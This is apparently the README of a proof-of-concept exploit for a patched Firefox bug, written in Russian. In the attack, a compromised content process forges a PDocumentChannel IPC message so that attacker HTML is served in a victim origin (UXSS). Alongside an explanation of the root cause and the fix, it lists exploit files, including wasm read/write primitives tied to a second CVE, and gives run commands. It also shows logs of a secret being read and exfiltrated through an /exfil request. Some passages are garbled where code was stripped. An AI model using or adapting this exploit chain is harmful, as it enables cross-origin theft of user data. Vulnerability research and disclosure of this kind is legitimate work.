
Firefox content->parent srcdoc forge (N-day, bug 2040160): поддельный PDocumentChannel с SrcdocData на URI, отличном от about:srcdoc -> HTML атакующего обслуживается в origin жертвы (UXSS), через внедрение пути отправки mojo-port из скомпрометированного content-процесса
Proof of concept: скомпрометированный контентный процесс подделывает загрузку PDocumentChannel, чей nsDocShellLoadState содержит SrcdocData вместе с произвольным URI. Уязвимые сборки отдают HTML атакующего как документ в origin жертвы — чтение в рамках того же origin + эксфильтрация (UXSS).
Цель: Firefox 149.0a1 nightly @ 2fbc0748c4 (уязвимая, до исправления), macOS arm64.
Исправлено в Firefox 152 — баг 2040160, коммит 54dc16d08771 «Reject srcdoc data on non-about:srcdoc URI loads».
Родительский процесс десериализует nsDocShellLoadState из IPDL-сообщений content→parent. Уязвимый конструктор отклонял только для загрузок, инициированных контентом; не проверялся. Когда состояние загрузки содержит srcdoc-данные с URI, отличным от , docshell создаёт канал входного потока, который отдаёт srcdoc HTML — и результирующий документ получает origin этого URI.
javascript:SrcdocDataabout:srcdocИсправление добавляет FatalError в IPDL-конструктор nsDocShellLoadState, когда !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI), плюс усиливающие проверки в nsDocShell и Document::StartDocumentLoad.
Родственный баг: CVE-2026-74939 (RemoteTypeOverride) — тот же конструктор, то же сообщение-носитель, тот же механизм доставки (см. ../poc-cve-2026-74939). Этот PoC переиспользует ту подделку с другим переключённым полем; RemoteTypeOverride не требуется.
srcdoc.html на http://127.0.0.1:8778 (origin A, скомпрометирован через примитивы wasm первого этапа в wasm-bytes.js).PNecko::PDocumentChannel: URI = http://localhost:8778/nav.html (origin B), SrcdocData = <HTML атакующего>, top-level BrowsingContext всплывающего окна about:blank в том же процессе — доставка через реальный путь отправки mojo (operator new → конструктор IPC::Message → Pickle::WriteBytes → MessageChannel::Send).webIsolated=http://localhost, и docshell отдаёт наш HTML как документ в origin B./secret.txt (тот же origin на B — реальный кросс-ориджин запрос с A был бы заблокирован CORS) и эксфильтрирует его на A.Доказательство (/tmp/srv.log после ./irun):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| Файл | Назначение |
|---|---|
srcdoc.html | Страница PoC, запускается внутри скомпрометированного контентного процесса |
forge.py | собирает подделанное сообщение (самопроверка) → forge.bin/forge.json |
wasm-bytes.js | примитивы первого этапа: произвольное чтение/запись, вызовы funcref (CVE-2026-2796) |
mdrive2.py | обвязка marionette для запуска и управления Nightly |
irun | инструментированный запуск: lldb attach к родительскому процессу + доказательства MOZ_LOG/srv.log |
profile.user.js | настройки профиля Firefox (fission включён, dump включён) |
parse_dc.py | побайтовый парсер захваченных сообщений DocumentChannel |
captured-messages/dc_1.bin | реальное захваченное сообщение, используется как шаблон подделки |
nav.html, secret.txt | фикстура страницы жертвы + секрет для демонстрации |
Предварительные требования: уязвимая сборка Nightly в /Users/sid/gecko-2766/obj-browser, .venv с psutil, и веб-сервер на 0.0.0.0:8778, обслуживающий эту директорию (например, python3 /tmp/srv.py, с логированием в /tmp/srv.log).
python3 forge.py # собрать forge.bin/forge.json (самопроверка)
./irun # запуск + инъекция + сбор доказательств
Примечание: контентный процесс может получить SIGSEGV при завершении после отправки (GC поверх поддельных объектов); все доказательства выдаются до этого.
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)